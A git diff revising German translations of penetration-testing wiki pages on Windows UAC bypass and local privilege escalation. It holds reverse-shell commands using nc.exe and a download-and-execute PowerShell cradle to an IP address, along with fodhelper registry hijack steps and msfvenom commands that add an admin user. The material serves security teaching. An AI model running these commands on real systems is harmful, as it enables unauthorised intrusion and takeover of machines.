existiert**, dann ist UAC **inaktiv**. -Prüfe dann **welches Level** konfiguriert ist: +Dann prüfe, **welche Stufe** konfiguriert ist: ``` REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin @@ -69,11 +69,11 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5 - If **`4`** like `2` but not necessary on Secure Desktop - if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges -Dann musst du dir den Wert von **`LocalAccountTokenFilterPolicy`** ansehen\ -Wenn der Wert **`0`**, dann kann nur der **RID 500** Benutzer (**built-in Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administrators"** dies tun. +Dann sollten Sie sich den Wert von **`LocalAccountTokenFilterPolicy`** anschauen\ +Wenn der Wert **`0`** ist, kann nur der **RID 500** Benutzer (**built-in Administrator**) **Admin-Aufgaben ohne UAC** ausführen, und wenn er `1` ist, können **alle Konten in der Gruppe "Administrators"** dies tun. -Und schließlich sieh dir den Wert des Schlüssels **`FilterAdministratorToken`** an\ -Wenn **`0`** (Standard), kann das **built-in Administrator-Konto** Remote-Administrationsaufgaben durchführen, und wenn **`1`**, kann das built-in Administrator-Konto **keine** Remote-Administrationsaufgaben durchführen, es sei denn `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt. +Und schließlich schauen Sie sich den Wert des Schlüssels **`FilterAdministratorToken`** an\ +Wenn **`0`** (Standard), kann das **built-in Administrator**-Konto Remote-Administrationsaufgaben ausführen, und wenn **`1`**, kann das built-in Administrator-Konto **keine** Remote-Administrationsaufgaben ausführen, es sei denn `LocalAccountTokenFilterPolicy` ist auf `1` gesetzt. #### Zusammenfassung @@ -82,9 +82,9 @@ Wenn **`0`** (Standard), kann das **built-in Administrator-Konto** Remote-Admini - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)** - If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone** -All diese Informationen können mit dem **metasploit** Modul: `post/windows/gather/win_privs` ermittelt werden +All this information can be gathered using the **metasploit** module: `post/windows/gather/win_privs` -Du kannst außerdem die Gruppen deines Benutzers prüfen und die Integritätsstufe (Integrity Level) ermitteln: +Sie können auch die Gruppen Ihres Benutzers prüfen und die Integritätsstufe abrufen: ``` net user %username% whoami /groups | findstr Level @@ -92,15 +92,15 @@ whoami /groups | findstr Level ## UAC bypass > [!TIP] -> Beachten Sie, dass wenn Sie grafischen Zugriff auf das Opfer haben, ein UAC bypass sehr einfach ist, da Sie bei der UAC-Abfrage einfach auf "Yes" klicken können +> Beachte, dass wenn du grafischen Zugriff auf das Opfer hast, UAC bypass sehr einfach ist, da du einfach auf "Yes" klicken kannst, wenn die UAC-Eingabeaufforderung erscheint -Der UAC bypass wird in folgender Situation benötigt: **die UAC ist aktiviert, Ihr Prozess läuft in einem medium integrity context, und Ihr Benutzer gehört zur administrators group**. +Der UAC bypass wird in folgender Situation benötigt: **der UAC ist aktiviert, dein Prozess läuft in einem medium integrity context, und dein Benutzer gehört zur administrators group**. -Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, die UAC zu umgehen, wenn sie auf der höchsten Sicherheitseinstellung (Always) steht, als wenn sie auf einer der anderen Einstellungen (Default) steht.** +Es ist wichtig zu erwähnen, dass es **viel schwieriger ist, den UAC zu umgehen, wenn er auf dem höchsten Sicherheitslevel (Always) steht, als bei einem der anderen Levels (Default).** -### UAC deaktiviert +### UAC disabled -Wenn UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**) können Sie **eine reverse shell mit admin privileges** (high integrity level) ausführen, z. B. mit: +Wenn UAC bereits deaktiviert ist (`ConsentPromptBehaviorAdmin` ist **`0`**) kannst du **eine reverse shell mit admin privileges ausführen** (high integrity level) mit etwas wie: ```bash #Put your reverse shell instead of "calc.exe" Start-Process powershell -Verb runAs "calc.exe" @@ -111,12 +111,12 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10 - [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) - [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) -### **Sehr** einfache UAC "bypass" (voller Zugriff auf das Dateisystem) +### **Sehr** grundlegender UAC "bypass" (voller Zugriff auf das Dateisystem) -Wenn du eine shell mit einem Benutzer hast, der zur Administrators group gehört, kannst du das über SMB freigegebene **C$** lokal als neues Laufwerk mounten und hast damit **Zugriff auf alles im Dateisystem** (sogar auf den Administrator home folder). +Wenn du eine Shell mit einem Benutzer hast, der zur Administrators-Gruppe gehört, kannst du **das C$-Share** über SMB lokal als neues Laufwerk mounten und wirst **Zugriff auf alles im Dateisystem** haben (sogar auf den Home-Ordner des Administrator-Kontos). > [!WARNING] -> **Sieht so aus, als würde dieser Trick nicht mehr funktionieren** +> **Anscheinend funktioniert dieser Trick nicht mehr** ```bash net use Z: \\127.0.0.1\c$ cd C$ @@ -124,9 +124,9 @@ cd C$ #Or you could just access it: dir \\127.0.0.1\c$\Users\Administrator\Desktop ``` -### UAC bypass mit Cobalt Strike +### UAC bypass mit cobalt strike -Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf dem maximalen Sicherheitsniveau eingestellt ist. +Die Cobalt Strike-Techniken funktionieren nur, wenn UAC nicht auf die höchste Sicherheitsstufe eingestellt ist. ```bash # UAC bypass via token duplication elevate uac-token-duplication [listener_name] @@ -138,17 +138,19 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj # Bypass UAC with CMSTPLUA COM interface runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" ``` -**Empire** und **Metasploit** haben ebenfalls mehrere Module, um die **UAC** zu **bypassen**. +**Empire** und **Metasploit** haben auch mehrere Module, um die **UAC** zu **bypass**. ### KRBUACBypass -Dokumentation und Tool in [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) +Dokumentation und Tool unter [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) ### UAC bypass exploits -[**UACME** ](https://github.com/hfiref0x/UACME), welches eine **Sammlung** mehrerer UAC bypass exploits ist. Beachte, dass du **UACME mit visual studio oder msbuild kompilieren musst**. Die Kompilierung erzeugt mehrere ausführbare Dateien (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), du musst wissen **welche du brauchst.**\ Du solltest **vorsichtig sein**, weil einige bypasses **andere Programme auffordern** werden, die den **Benutzer** **warnen**, dass etwas passiert. +[**UACME** ](https://github.com/hfiref0x/UACME), welches eine **compilation** mehrerer UAC bypass exploits ist. Beachte, dass du **compile UACME using visual studio or msbuild** musst. Die compilation wird mehrere ausführbare Dateien erstellen (wie `Source\Akagi\outout\x64\Debug\Akagi.exe`), du musst wissen, **welches du brauchst.** -UACME enthält die **Build-Version, ab der jede Technik zu funktionieren begann**. Du kannst nach einer Technik suchen, die deine Versionen betrifft: +Du solltest **vorsichtig sein**, weil einige bypasses einige andere Programme **auffordern** könnten, die den **Benutzer** **alarmieren**, dass etwas passiert. + +UACME enthält die **Build-Version, ab der jede Technik funktionierte**. Du kannst nach einer Technik suchen, die deine Versionen betrifft: ``` PS C:\> [environment]::OSVersion.Version @@ -156,17 +158,17 @@ Major Minor Build Revision ----- ----- ----- -------- 10 0 14393 0 ``` -Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions. +Außerdem erhält man mit [this](https://en.wikipedia.org/wiki/Windows_10_version_history) die Windows-Version `1607` aus den Build-Versionen. ### UAC Bypass – fodhelper.exe (Registry hijack) -Die vertrauenswürdige Binärdatei `fodhelper.exe` wird unter modernen Windows-Versionen automatisch erhöht. Beim Start fragt sie den per-User-Registrypfad unten ab, ohne das `DelegateExecute`-Verb zu validieren. Dort einen Befehl zu platzieren ermöglicht es einem Medium Integrity process (user is in Administrators), einen High Integrity process ohne UAC prompt zu starten. +Die vertrauenswürdige Binärdatei `fodhelper.exe` wird auf modernen Windows-Versionen automatisch mit erhöhten Rechten gestartet. Beim Start fragt sie den untenstehenden per-user-Registry-Pfad ab, ohne das `DelegateExecute`-Verb zu validieren. Dort einen Befehl zu platzieren erlaubt einem Medium Integrity-Prozess (der Benutzer ist in Administrators), einen High Integrity-Prozess zu erzeugen, ohne dass ein UAC prompt erscheint. -Vom `fodhelper.exe` abgefragter Registrypfad: +Registry path queried by fodhelper: ``` HKCU\Software\Classes\ms-settings\Shell\Open\command ``` -PowerShell-Schritte (setze deine payload, dann löse sie aus): +PowerShell-Schritte (set your payload, then trigger): ```powershell # Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition" @@ -186,46 +188,46 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe" Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force ``` Hinweise: -- Funktioniert, wenn der aktuelle Benutzer Mitglied der Administrators ist und das UAC-Level auf default/lenient eingestellt ist (nicht Always Notify mit zusätzlichen Einschränkungen). -- Verwende den `sysnative`-Pfad, um von einem 32-Bit-Prozess auf einem 64-Bit-Windows eine 64-Bit PowerShell zu starten. -- Die Payload kann jeder Befehl sein (PowerShell, cmd oder ein EXE-Pfad). Vermeide auffordernde UIs für mehr Stealth. +- Funktioniert, wenn der aktuelle Benutzer Mitglied der Administrators ist und das UAC-Level standard/locker ist (nicht Always Notify mit zusätzlichen Beschränkungen). +- Verwende den `sysnative`-Pfad, um eine 64-Bit PowerShell aus einem 32-Bit-Prozess auf 64-Bit-Windows zu starten. +- Die Payload kann jeder Befehl sein (PowerShell, cmd oder ein EXE-Pfad). Vermeide auffordernde UIs, um unauffällig zu bleiben. -#### More UAC bypass +#### Weitere UAC bypass -**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough). +**Alle** die hier verwendeten Techniken, um AUC zu umgehen, **erfordern** eine **voll interaktive Shell** mit dem Opfer (eine normale nc.exe-Shell reicht nicht). -You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**: +Du kannst das mit einer **meterpreter**-Sitzung erreichen. Migriere zu einem **Prozess**, dessen **Session**-Wert **1** ist: ![](<../../images/image (863).png>) -(_explorer.exe_ should works) +(_explorer.exe_ sollte funktionieren) -### UAC Bypass with GUI +### UAC Bypass mit GUI -If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC. +Wenn du Zugriff auf eine **GUI hast, kannst du einfach das UAC-Dialogfeld akzeptieren**, wenn es erscheint; du brauchst dann eigentlich keinen Bypass. Daher ermöglicht dir der Zugriff auf eine GUI, das UAC zu umgehen. -Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**. +Außerdem: Wenn du eine GUI-Sitzung übernimmst, die jemand gerade benutzt hat (möglicherweise per RDP), laufen dort oft **einige Tools als Administrator**, von denen du z. B. eine **cmd** **als admin** direkt ausführen könntest, ohne erneut von UAC aufgefordert zu werden, wie z. B. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Das kann etwas **stealthy** sein. -### Noisy brute-force UAC bypass +### Auffälliger brute-force UAC bypass -If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**. +Wenn es dir egal ist, auffällig zu sein, kannst du immer etwas wie [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) ausführen, das **fortlaufend um Erhöhung der Berechtigungen bittet, bis der Benutzer zustimmt**. -### Your own bypass - Basic UAC bypass methodology +### Eigener Bypass - Grundlegende UAC bypass Methodik -If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). +Wenn du dir **UACME** ansiehst, fällt auf, dass **die meisten UAC-Bypässe eine Dll Hijacking Vulnerability ausnutzen** (hauptsächlich indem die bösartige DLL nach _C:\Windows\System32_ geschrieben wird). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html). -1. Finde ein Binary, das **autoelevate** (prüfe, dass es beim Ausführen in einem High-Integrity-Level läuft). -2. Mit procmon **"NAME NOT FOUND"**-Events finden, die für **DLL Hijacking** anfällig sein können. -3. Du wirst wahrscheinlich die DLL in geschützte Pfade schreiben müssen (z. B. C:\Windows\System32), in denen du keine Schreibberechtigung hast. Das kannst du umgehen mit: -1. **wusa.exe**: Windows 7, 8 und 8.1. Ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (weil dieses Tool mit High-Integrity-Level ausgeführt wird). +1. Finde ein Binary, das **autoelevate** (prüfe, dass es beim Ausführen in einem hohen Integritätslevel läuft). +2. Mit procmon suche nach "**NAME NOT FOUND**"-Ereignissen, die für **DLL Hijacking** anfällig sein können. +3. Du musst wahrscheinlich die DLL in einigen **geschützten Pfaden** (wie C:\Windows\System32) **schreiben**, in denen du keine Schreibrechte hast. Das kannst du umgehen mit: +1. **wusa.exe**: Windows 7, 8 und 8.1. Ermöglicht das Extrahieren des Inhalts einer CAB-Datei in geschützte Pfade (da dieses Tool mit hoher Integritätsstufe ausgeführt wird). 2. **IFileOperation**: Windows 10. -4. Erstelle ein **script**, das deine DLL in den geschützten Pfad kopiert und das verwundbare, autoelevated Binary ausführt. +4. Bereite ein **script** vor, das deine DLL in den geschützten Pfad kopiert und das verwundbare und autoelevated Binary ausführt. -### Another UAC bypass technique +### Eine andere UAC bypass technik -Besteht darin zu beobachten, ob ein **autoElevated binary** versucht, aus der **registry** den **name/path** eines **binary** oder **command** auszulesen, das ausgeführt werden soll (das ist besonders interessant, wenn das Binary diese Informationen in der **HKCU** sucht). +Besteht darin zu beobachten, ob ein **autoElevated binary** versucht, aus der **registry** den **Name/Pfad** eines **binary** oder **command** zu **lesen**, der **ausgeführt** werden soll (das ist besonders interessant, wenn das Binary diese Informationen in der **HKCU** sucht). -## References +## Referenzen - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/) - [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index 15203bbed..83c872aaf 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Bestes Tool, um nach Windows local privilege escalation vectors zu suchen:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Grundlegende Windows-Theorie +## Initial Windows Theory ### Access Tokens @@ -17,7 +17,7 @@ access-tokens.md ### ACLs - DACLs/SACLs/ACEs -**Sieh dir die folgende Seite für mehr Informationen über ACLs - DACLs/SACLs/ACEs an:** +**Siehe die folgende Seite für mehr Informationen zu ACLs - DACLs/SACLs/ACEs:** {{#ref}} @@ -26,27 +26,27 @@ acls-dacls-sacls-aces.md ### Integrity Levels -**Wenn du nicht weißt, was Integrity Levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:** +**Wenn du nicht weißt, was integrity levels in Windows sind, solltest du die folgende Seite lesen, bevor du fortfährst:** {{#ref}} integrity-levels.md {{#endref}} -## Windows-Sicherheitskontrollen +## Windows Security Controls -Es gibt verschiedene Dinge in Windows, die dich daran hindern könnten, **das System zu enumerieren**, ausführbare Dateien auszuführen oder sogar **deine Aktivitäten zu erkennen**. Du solltest die folgende **Seite** **lesen** und alle diese **Verteidigungs** **mechanismen** **enumerieren**, bevor du mit der privilege escalation enumeration beginnst: +Es gibt verschiedene Dinge in Windows, die dich daran hindern können, enumerating the system, run executables oder sogar detect your activities. Du solltest die folgende Seite lesen und all diese defenses mechanisms enumerieren, bevor du mit der privilege escalation enumeration beginnst: {{#ref}} ../authentication-credentials-uac-and-efs/ {{#endref}} -## Systeminformationen +## System Info -### Versionsinfo-Enumeration +### Version info enumeration -Überprüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches). +Prüfe, ob die Windows-Version bekannte Schwachstellen hat (prüfe auch die angewendeten Patches). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,11 +59,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Versions-Exploits +### Version-Exploits -This [site](https://msrc.microsoft.com/update-guide/vulnerability) ist praktisch, um detaillierte Informationen über Microsoft-Sicherheitslücken zu finden. - -Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **enorme Angriffsfläche**, die eine Windows-Umgebung bietet. +Diese [Seite](https://msrc.microsoft.com/update-guide/vulnerability) ist nützlich, um detaillierte Informationen über Microsoft-Sicherheitslücken zu recherchieren. Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **riesige Angriffsfläche**, die eine Windows-Umgebung darstellt. **Auf dem System** @@ -77,7 +75,7 @@ Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **enorm - [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) - [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng) -**GitHub-Repos mit Exploits:** +### Github repos of exploits: - [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub) - [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits) @@ -85,7 +83,7 @@ Diese Datenbank enthält mehr als 4.700 Sicherheitslücken und zeigt die **enorm ### Umgebung -Sind irgendwelche credential/Juicy-Informationen in den env variables gespeichert? +Sind irgendwelche credentials/Juicy-Infos in den env variables gespeichert? ```bash set dir env: @@ -103,7 +101,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` ### PowerShell-Transkriptdateien -Sie erfahren, wie Sie dies aktivieren, unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) +Anleitung zum Aktivieren finden Sie unter [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash #Check is enable in the registry reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription @@ -120,32 +118,32 @@ Stop-Transcript Details von PowerShell-Pipeline-Ausführungen werden aufgezeichnet und umfassen ausgeführte Befehle, Befehlsaufrufe und Teile von Skripten. Vollständige Ausführungsdetails und Ausgabeergebnisse werden jedoch möglicherweise nicht erfasst. -Um dies zu aktivieren, folgen Sie den Anweisungen im Abschnitt "Transcript files" der Dokumentation und wählen **"Module Logging"** anstelle von **"Powershell Transcription"**. +Um dies zu aktivieren, befolge die Anweisungen im Abschnitt "Transcript files" der Dokumentation und wähle **"Module Logging"** statt **"Powershell Transcription"**. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` -Um die letzten 15 Ereignisse aus den Powershell-Logs anzuzeigen, können Sie Folgendes ausführen: +Um die letzten 15 Ereignisse aus den Powershell-Logs anzuzeigen, können Sie ausführen: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Ein vollständiger Aktivitäts- und Inhaltsdatensatz der Skriptausführung wird erfasst, wodurch jeder Codeblock während seiner Ausführung dokumentiert wird. Dieser Prozess bewahrt eine umfassende Prüfspur jeder Aktivität, die für Forensik und die Analyse bösartiger Vorgänge wertvoll ist. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf ermöglicht. +Ein vollständiger Aktivitäts- und Inhaltsnachweis der Skriptausführung wird erfasst, sodass sichergestellt ist, dass jeder Codeblock während der Ausführung dokumentiert wird. Dieser Prozess bewahrt einen umfassenden Audit-Trail jeder Aktivität und ist wertvoll für Forensik und die Analyse bösartigen Verhaltens. Durch die Dokumentation aller Aktivitäten zum Zeitpunkt der Ausführung werden detaillierte Einblicke in den Ablauf gewonnen. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Protokollierungsereignisse für das Script Block befinden sich im Windows Event Viewer unter dem Pfad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Die Ereignisse des Script Block werden im Windows Event Viewer unter folgendem Pfad protokolliert: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Um die letzten 20 Ereignisse anzuzeigen, können Sie Folgendes verwenden: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` -### Internet-Einstellungen +### Interneteinstellungen ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" @@ -158,13 +156,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Sie können das System kompromittieren, wenn die Updates nicht über http**S**, sondern über http angefordert werden. +Das System kann kompromittiert werden, wenn die Updates nicht über http**S**, sondern über http angefordert werden. -Sie beginnen damit, zu prüfen, ob das Netzwerk ein non-SSL WSUS-Update verwendet, indem Sie in cmd Folgendes ausführen: +Du beginnst damit zu prüfen, ob das Netzwerk ein non-SSL WSUS update verwendet, indem du Folgendes in cmd ausführst: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Oder das Folgende in PowerShell: +Oder Folgendes in PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` @@ -184,11 +182,11 @@ PSProvider : Microsoft.PowerShell.Core\Registry ``` Und wenn `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` oder `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gleich `1` ist. -Dann ist **es ausnutzbar.** Wenn der letzte Registrierungswert gleich `0` ist, wird der WSUS-Eintrag ignoriert. +Dann, **ist es ausnutzbar.** Wenn der letzte Registrierungseintrag gleich 0 ist, wird der WSUS-Eintrag ignoriert. -Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — das sind MiTM-weaponized Exploit-Skripte, um 'fake' Updates in non-SSL WSUS-Traffic zu injizieren. +Um diese Schwachstelle auszunutzen, können Sie Tools wie verwenden: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) — dies sind MiTM weaponized exploit-Skripte, um 'gefälschte' Updates in nicht-SSL-WSUS-Verkehr zu injizieren. -Read the research here: +Lies die Forschung hier: {{#file}} CTX_WSUSpect_White_Paper (1).pdf @@ -196,20 +194,20 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basically, this is the flaw that this bug exploits: +[**Lies den vollständigen Bericht hier**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Im Wesentlichen ist dies die Schwachstelle, die dieser Bug ausnutzt: -> Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Updates den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, [PyWSUS](https://github.com/GoSecure/pywsus) lokal auszuführen, um unseren eigenen Traffic abzufangen und Code als erhöhter Benutzer auf unserem System auszuführen. +> Wenn wir die Möglichkeit haben, unseren lokalen Benutzerproxy zu ändern, und Windows Update den in den Internet Explorer-Einstellungen konfigurierten Proxy verwendet, haben wir daher die Möglichkeit, [PyWSUS](https://github.com/GoSecure/pywsus) lokal auszuführen, um unseren eigenen Verkehr abzufangen und Code als erhöhter Benutzer auf unserem Asset auszuführen. > -> Außerdem verwendet der WSUS-Dienst, da er die Einstellungen des aktuellen Benutzers nutzt, auch dessen Zertifikatspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatspeicher des aktuellen Benutzers einfügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Traffic abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine trust-on-first-use‑artige Validierung des Zertifikats zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den korrekten Hostnamen enthält, wird es vom Dienst akzeptiert. +> Zudem verwendet der WSUS-Dienst die Einstellungen des aktuellen Benutzers und somit auch dessen Zertifikatsspeicher. Wenn wir ein selbstsigniertes Zertifikat für den WSUS-Hostname erzeugen und dieses Zertifikat in den Zertifikatsspeicher des aktuellen Benutzers hinzufügen, können wir sowohl HTTP- als auch HTTPS-WSUS-Verkehr abfangen. WSUS verwendet keine HSTS-ähnlichen Mechanismen, um eine Trust-on-first-use-ähnliche Validierung für das Zertifikat zu implementieren. Wenn das präsentierte Zertifikat vom Benutzer vertraut wird und den richtigen Hostnamen hat, wird es vom Dienst akzeptiert. -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +Sie können diese Schwachstelle mit dem Tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) ausnutzen (sobald es verfügbar ist). ## KrbRelayUp -Eine **local privilege escalation** Schwachstelle existiert in Windows **domain**-Umgebungen unter bestimmten Bedingungen. Diese Bedingungen umfassen Umgebungen, in denen **LDAP signing is not enforced**, Benutzer Rechte besitzen, die es ihnen erlauben, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Möglichkeit besteht, dass Benutzer Computer innerhalb der Domain erstellen. Es ist wichtig zu beachten, dass diese **Voraussetzungen** mit **Standardeinstellungen** erfüllt sind. +In Windows-Domänenumgebungen existiert unter bestimmten Bedingungen eine lokale Privilegieneskalation. Diese Bedingungen umfassen Umgebungen, in denen **LDAP signing nicht erzwungen** wird, Benutzer über Berechtigungen verfügen, die es ihnen erlauben, **Resource-Based Constrained Delegation (RBCD)** zu konfigurieren, und die Fähigkeit, Computer innerhalb der Domain zu erstellen. Es ist wichtig zu beachten, dass diese **Voraussetzungen** mit **Standardeinstellungen** erfüllt sind. -Den Exploit finden Sie unter [https://github.com/Dec0ne/KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp) +Finde den **Exploit unter** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Für weitere Informationen zum Ablauf des Angriffs siehe [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) @@ -225,72 +223,72 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -Wenn du eine meterpreter-Session hast, kannst du diese Technik mit dem Modul **`exploit/windows/local/always_install_elevated`** automatisieren +Wenn du eine meterpreter-Session hast, kannst du diese Technik mit dem Modul **`exploit/windows/local/always_install_elevated`** automatisieren. ### 